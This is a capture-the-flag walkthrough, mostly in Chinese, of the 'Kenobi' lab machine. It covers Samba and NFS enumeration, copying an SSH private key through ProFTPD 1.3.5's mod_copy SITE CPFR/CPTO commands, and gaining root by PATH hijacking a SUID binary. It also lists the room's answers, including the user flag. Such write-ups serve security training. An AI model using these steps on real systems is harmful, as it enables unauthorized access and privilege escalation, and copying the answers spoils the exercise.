Offensive Pentesting-Kenobi

Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
此房间将涵盖访问 Samba 共享、操纵易受攻击的 proftpd 版本以获得初始访问权限,并通过 SUID 二进制文件将您的权限升级到 root。

扫端口

┌──(root㉿kali)-[/home/w3nx1z1]
└─# nmap -T4 -sV -sC 10.10.233.125
Starting Nmap 7.92 ( https://nmap.org ) at 2024-11-17 11:09 CST
Nmap scan report for 10.10.233.125
Host is up (0.27s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      36585/udp   mountd
|   100005  1,2,3      49263/tcp   mountd
|   100005  1,2,3      54329/udp6  mountd
|   100005  1,2,3      59841/tcp6  mountd
|   100021  1,3,4      39645/tcp   nlockmgr
|   100021  1,3,4      40321/udp6  nlockmgr
|   100021  1,3,4      44189/tcp6  nlockmgr
|   100021  1,3,4      58684/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m59s, deviation: 3h27m51s, median: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-11-17T03:10:03
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-11-16T21:10:03-06:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.90 seconds

Scan the machine with nmap, how many ports are open?

7

Enumerating Samba for shares(枚举Samba)

Samba 是适用于 Linux 和 Unix 的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司内部网或互联网上的文件、打印机和其他常见共享资源。它通常被称为网络文件系统。

Samba 基于服务器消息块 (SMB) 的通用客户端/服务器协议。SMB 专为 Windows 开发,如果没有 Samba,其他计算机平台将与 Windows 计算机隔离,即使它们属于同一网络。

使用 nmap,我们可以枚举 SMB 共享的计算机。

Nmap 能够运行以自动执行各种网络任务。有一个脚本可以列举份额!

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.233.125

SMB 有两个端口,即 445 和 139。

https://i.imgur.com/bkgVNy3.png

使用上面的 nmap 命令,找到了多少个共享?

3

image-20241117112738713

我们可以使用这条命令来连接到计算机的网络共享 并查看其中的文件

smbclient //10.10.233.125/anonymous

image-20241117113021004

连接后,列出共享中的文件。您可以看到什么文件?

log.txt

可以使用more命令来读取其中的内容

image-20241117115555645

到这里其实已经可以回答下面的问题了

What port is FTP running on?

21

在接着往下看

您也可以以递归方式下载 SMB 共享。将用户名和密码作为 nothing 提交。

smbget -R smb://10.10.40.36/anonymous

打开共享上的文件。发现了一些有趣的事情。

  • 可以发现为kenobi用户生成了ssh私钥的信息
  • 有关 ProFTPD 服务器的信息。

image-20241117171131658

这个操作和网络速度有关系 有时候会报错连接不上 多试几次就好了

这部分是为用户生成 SSH 密钥时为 Kenobi 生成的信息

image-20241117172142137

这一部分是有关 ProFTPD 服务器的信息 也提到了FTP服务在21端口上运行

image-20241117172355122

您之前的 nmap 端口扫描将显示端口 111 运行服务 rpcbind。这只是一个将远程过程调用 (RPC) 程序编号转换为通用地址的服务器。当 RPC 服务启动时,它会告诉 rpcbind 它正在侦听的地址以及它准备提供的 RPC 程序编号。

在我们的例子中,端口 111 是对网络文件系统的访问。让我们用 nmap 来列举一下。

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.40.36

这里可以看到开放的111端口运行了rpcbind服务(远程过程调用) 在这里是远程文件系统的共享 通过nfs-showmount的内容得知 当前目标主机通过nfs服务共享了/var文件夹 同时*表示此共享目录对所有客户端(任何主机)都开放访问权限

image-20241117172649592

What mount can we see?

/var

Gain initial access with ProFtpd(通过ProFtpd 获得初始访问权限)

ProFtpd 是一个免费的开源 FTP 服务器,与 Unix 和 Windows 系统兼容。它在过去的软件版本中也容易受到攻击。

让我们获取 ProFtpd 的版本。使用 netcat 通过 FTP 端口连接到本机。

版本是什么?

1.3.5

这一点我们在前面nmap扫端口的时候就已经可以分析出来

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5

我们可以使用 searchsploit 来查找特定软件版本的漏洞。

Searchsploit 基本上只是一个用于 exploit-db.com 的命令行搜索工具。

ProFTPd 运行有多少个漏洞?

4

image-20241117173632314

但是这里我们不直接使用搜到的ProFTPd 1.3.5的漏洞利用文件 而是按照我们上面在日志中找到的记录 利用为kenobi用户生成的ssh私钥 来ssh远程连接 登录到kenobi账户

ProFtpd的mod_copy 模块可以实现 SITE CPFRSITE CPTO 命令,这些命令可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。

我们知道 FTP 服务以 Kenobi 用户身份运行(从共享上的文件),并且会为该用户生成 ssh 密钥。

根据上面找到的开启FTP服务的端口是21 我们可以先来连接这个FTP服务 在日志中找到私钥在目标靶机上保存的路径是/home/kenobi/.ssh/id_rsa

image-20241117212242832

┌──(w3nx1z1㉿kali)-[~/桌面]
└─$ nc 10.10.166.18 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.166.18]
SITE CPFR /home/kenobi/.ssh/id_rsa # 需要我们输入
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa    # 需要我们输入
250 Copy successful

这样我们就将/home/kenobi/.ssh/id_rsa私钥复制到了/var/tmp/id_rsa 同时根据上面任务2的第四题 我们得知rpcbind服务开启的共享文件夹服务就是挂载在了/var文件夹上

mkdir /mnt/kenobiNFS
mount 10.10.166.18:/var /mnt/kenobiNFS
ls /mnt/kenobiNFS/tmp

此时我们看到/mnt/kenobiNFS/tmp文件夹下已经有了我们需要的私钥文件 下面将这个私钥文件复制到当前文件夹中

cp /mnt/kenobiNFS/tmp/id_rsa .

在赋予私钥文件600权限

sudo chmod 600 id_rsa
权限编号 权限字符串 拥有者权限 组权限 其他人权限 常见用途
600 rw------- 读写 SSH 私钥文件
644 rw-r--r-- 读写 公共文件
755 rwxr-xr-x 读写执行 读执行 读执行 可执行脚本或程序
777 rwxrwxrwx 读写执行 读写执行 读写执行 开放权限,通常不推荐

上面是一些常见的权限对应的用途 这里只能给600权限 太高权限会报错

image-20241117213225173

这里给到600权限后 我们连上shell 拿到用户文件夹下的flag

image-20241117213330434

What is Kenobi’s user flag (/home/kenobi/user.txt)?

d0b0f3f53b6caa532a83915e19224899

Privilege Escalation with Path Variable Manipulation(suid提权之menu提权)

同样在拿到kenobi普通用户的shell之后 我们需要进行提权 进而拿到root用户的权限 也是先看一下有无可以利用的suid命令

find / -type f -perm -u=s 2>/dev/null

这里看到 虽然同样是给了sudo和su 但是我们并不知道kenobi用户的登陆密码 因此这里我们选择使用meun来提权

image-20241117213630328

我们尝试运行一下这个命令 发现在执行的时候会出现三个选项 选择不同选项之后会执行对应的命令并输出

image-20241117213824161

这里使用strings命令 可以在这个可执行的二进制程序中查找我们可读的字符串 看到了三个选项对应的三个会执行的命令

image-20241117214325146

那我们这里使用命令劫持 伪造一个curl

kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH

意思就是在/tmp中创建一个curl文件 将/bin/sh写入这个curl文件中并给予他777的权限 同时在环境变量中将将 /tmp 目录添加到最前面 并在 /tmp 之后,保留原有的路径列表 这样的话在我们执行命令的时候 会先从/tmp文件夹中寻找并执行 这样就可以优先执行我们伪造的“curl”文件 进而执行/bin/sh命令 又因为我们在执行menu时 选择选项1 执行的是

curl -I localhost

这样在命令劫持之后就变成了

/bin/sh -I localhost

但是因为menu命令有suid权限 那此时执行的/bin/sh也就有了root权限 从而给我们返回一个root权限的shell

image-20241117215509068

考点

1.Samba 共享文件夹读取、下载远程靶机中的文件

2.proftpd 1.3.5的mod_copy 模块漏洞允许任意客户端将文件从文件系统的任何部分复制到选定的位置

3.将共享的远程文件夹挂载到本地文件夹中 复制出上一步移动的私钥文件 ssh连接普通用户

4.SUID提权 利用命令劫持 执行/bin/sh命令 拿到root权限的shell